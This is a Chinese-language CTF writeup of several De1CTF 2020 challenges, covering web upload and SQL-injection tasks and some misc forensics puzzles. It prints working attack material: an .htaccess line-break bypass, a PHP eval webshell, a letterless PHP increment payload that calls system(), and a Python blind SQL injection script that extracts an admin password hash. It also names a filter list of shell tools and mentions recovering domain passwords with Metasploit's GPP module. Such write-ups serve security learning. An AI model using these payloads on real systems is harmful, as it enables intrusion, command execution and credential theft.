De1CTF2020部分writeup

 

前言

XCTF分站赛的第一站De1CTF开始了。。。。

这次web题目质量很好 可是太菜了,没做出来多少

 

web

check in

打开链接发现是一个文件上传的题目

测试发现这里对文件的后缀名有限制,可以修改Content-Type:参数进行绕过,但是上传php文件不行。。。

对文件内容也有限制。。

 perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet in contents!

过滤了一些关键的字符。。
看到这里猜测考点是利用.htaccess getshell

正常的一个.htaccess的内容为:

SetHandler application/x-httpd-php

但是因为文本中有ph字符,需要想办法进行绕过,在测试发现:

SetHandler application/x-httpd-p
hp

换行进行绕过是可以的。。

然后上传图片马,访问即可。。

由于过滤了ph,>等字符,,所以图片马的内容为:

<?=@eval($_POST[aa]);

用蚁剑进行链接:

在根目录找到了flag…

Hard_Pentest_1

打开题目发现给出了源码

<?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_POST["submit"]){
    if (($_FILES["file"]["size"] < 2048) && Check()){
        if ($_FILES["file"]["error"] > 0){
            die($_FILES["file"]["error"]);
        }
        else{
            $filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
            move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
            echo "save in:" . $sandbox."/" . $filename;
        }
    }
    else{
        echo "Not Allow!";
    }
}

function Check(){
    $BlackExts = array("php");
    $ext = explode(".", $_FILES["file"]["name"]);
    $exts = trim(end($ext));
    $file_content = file_get_contents($_FILES["file"]["tmp_name"]);

    if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content)  && 
        !in_array($exts, $BlackExts) && 
        !preg_match('/../',$_FILES["file"]["name"])) {
          return true;
    }
    return false;
}
?>

<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>

<form action="index.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="submit">
</form>

</body>
</html>

主要看一下这个check()

function Check(){
    $BlackExts = array("php");
    $ext = explode(".", $_FILES["file"]["name"]);
    $exts = trim(end($ext));
    $file_content = file_get_contents($_FILES["file"]["tmp_name"]);

    if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content)  && 
        !in_array($exts, $BlackExts) && 
        !preg_match('/../',$_FILES["file"]["name"])) {
          return true;
    }
    return false;
}

限制了后缀名,不能为php,我们可以大小写进行绕过

最重要的是对文件内容进行了过滤。。。

preg_match('/[a-z0-9;~^`&|]/is',$file_content)

不能出现字母数字和一些特殊字符。。
想到了无字母数字getshell的点,因为过滤了~^,就不能用取反和异或来进行getshell。想到的方法是递增。。。但是递增需要分号,需要绕过分号,来进行getshell…

测试发现可以利用<?=?>来进行绕过

<?=$_=[]?>
<?=$_="$_"?>
<?=$_=$_['!'=='@']?>

刚开始传的是assert的木马,发现怎么也执行不了命令,忽然看到php版本为PHP/7.2.29 那就打扰了

后来改变目标传一个system的,发现可以成功。。。

递增的代码 相当于system($_POST[_]);

<?=$_=[]?>
<?=$_="$_"?>
<?=$_=$_['!'=='@']?>
<?=$___=$_?>
<?=$__=$_?>
<?=$__++?><?=$__++?>
<?=$__++?><?=$__++?>
<?=$____=$__++?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$_____________=$__++?><?=$__++?>
<?=$__________=$__++?>
<?=$_________=$__++?>
<?=$__++?>
<?=$________=$__++?>
<?=$_____=$__++?>
<?=$______=$__++?>
<?=$______?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____________=$__++?>
<?=$_____.$____________.$_____.$______.$____.$_____________?>
<?=$________________=$_____.$____________.$_____.$______.$____.$_____________?>
<?=$_________.$__________.$_____.$______?>
<?=($________________)(${'_'.$_________.$__________.$_____.$______}[_])?>

可以执行系统命令。。。

上传文件,打到msf上:

发现了一些信息,存在Hint

查看目录文件发现了压缩包 :

将其下载下来,发现需要密码。。

查看了一下用户,发现了一个很奇怪的用户名。。

看一下这个用户的信息:

发现也没有什么有用的信息。。

然后有师傅说会不会HintZip_Pass用户的密码就是压缩包的密码。。。

由于对域渗透了解有限。。没有什么好的方法来得到用户密码。。

找到了这样的一篇文章[参考文章]
利用msf的gpp模块 成功获取到了用户的密码:
(https://blog.csdn.net/qq_36119192/article/details/104344105)

也有提示这就是压缩包的密码zL1PpP@sSwO3d
解压得到flag..

mixture

打开发现是个登陆页面:

随便输入就可以进去 很神奇aa:aa
进入之后发现只能够查看用户信息

admin.phpselect.php都需要admin权限
查看源码发现有提示orderby

猜测是一个注入。。
测试发现http://134.175.185.244/member.php?orderby=|1=2http://134.175.185.244/member.php?orderby=|1=1回显不同,找到了注入点。。。。
发现过滤了一些东西:

if
desc
sleep
updatexml
^
union
&&
regexp
exp
extractvalue
length
hex

可以进行布尔盲注。。
写个脚本开始跑。。

import requests
import re


url="http://134.175.185.244/member.php?orderby="
cookies={'PHPSESSID':'s0d02a5rb52ejonbml114f8pen'}
flag=''
for i in range(1,33):
    print i
    for j in range(37,127):
        # payload="|1=(ascii(mid((database()),"+str(i)+",1))='"+str(j)+"')"
        # payload="|1=(ascii(mid(((SELECT group_concat(table_name) from information_schema.tables where table_schema=database())),"+str(i)+",1))='"+str(j)+"')"
        # payload="|1=(ascii(mid(((SELECT group_concat(column_name) from information_schema.columns where table_name='member')),"+str(i)+",1))='"+str(j)+"')"
        payload="|1=(ascii(mid(((select password from member where username='admin')),"+str(i)+",1))='"+str(j)+"')"
        url_1=url+payload
        res=requests.get(url_1,cookies=cookies)
        a = re.search(r'<td>(.*)</td>', res.text, re.M | re.S).group(1)[:1]
        if int(a)==2:
            flag+=chr(j)
            print flag
            break
        else:
            pass
# database test

# member,users

# member:  id,username,password
# password: 18a960a3a0b3554b314ebe77fe545c85

得到了密码的md5值,在网站进行解密得到密码。。

admin:goodlucktoyou进行登陆:

发现select.php可以读源码。。。
发现存在/readflag

说明需要执行命令来得到flag…

admin页面是一个phpinfo()页面。。

发现了一个神奇的东西Minclude

select.php的内容为:

<?php
include "profile.php";
$search = $_POST['search'];

if($_SESSION['admin']==1){
    print <<<EOT
<form class="form" action="select.php" method="post">
    <div class="form-group">
        <label for="disabledTextInput">You can search anything here!!</label></br>
        <input type="text" name="search" id="fromgo" class="form-control">
    </div>
    </div>
    <div class="form-group">
        <input type="submit" name="submit" class="btn btn-info btn-md" value="submit">
    </div>
</form>
EOT;
}
else{
    print <<<EOT
  <div class="container"> 
      <div class="row"  >            
              <div class="col-md-10 col-md-offset-4">             
                <div class="input-group" display:block;margin:0 auto;>                                                       
                            <button class="btn btn-info btn-search " type="button" >You are not admin or not enough money!</button>
                              </span>

                </div><!-- /input-group -->              
              </div><!-- /.col-lg-6 --> 
      </div>
  </div>
EOT;
}
if($_SESSION['admin']==1&&!empty($search)){
    //var_dump(urldecode($search));
    Minclude(urldecode($search));
    //lookup($search);
}

这里利用了Minclude(urldecode($search)); 漏洞点应该就在这里了,,,

然后就是自闭了 没找到解决的方法。。。我太菜了。。。

 

Misc

Welcome_to_the_2020_de1ctf

是一个加群链接

科学上网得到flag

Misc杂烩

是一个流量包:

发现里面有一张png图片,

将其分离出来,找到了一个链接:

https://drive.google.com/file/d/1JBdPj7eRaXuLCTFGn7AluAxmxQ4k1jvX/view

下载下来,得到了一个readme.zip
得到了一个docx文件

发现没什么东西

分离一下docx文件得到了You_found_me_Orz.zip

根据赛题的提示

In the burst test point of compressed packet password, the length of the password is 6, and the first two characters are "D" and "E". 压缩包密码暴破考点中,密码的长度为6位,前两位为DE。

进行爆破

得到压缩包密码:DE34Q1
得到了一个图片。
binwalk分离一下: 发现有一个压缩包,里面又文件666.jpg:fffffffflllll.txt 为flag

De1CTF{E4Sy_M1sc_By_Jaivy_31b229908cb9bb}

Questionnaire

问卷调查,直接给flag

 

总结

这次比赛质量真的好,题目很好,也很新颖,接触了一些域渗透的东西,,
感觉有不错的收获。。

(完)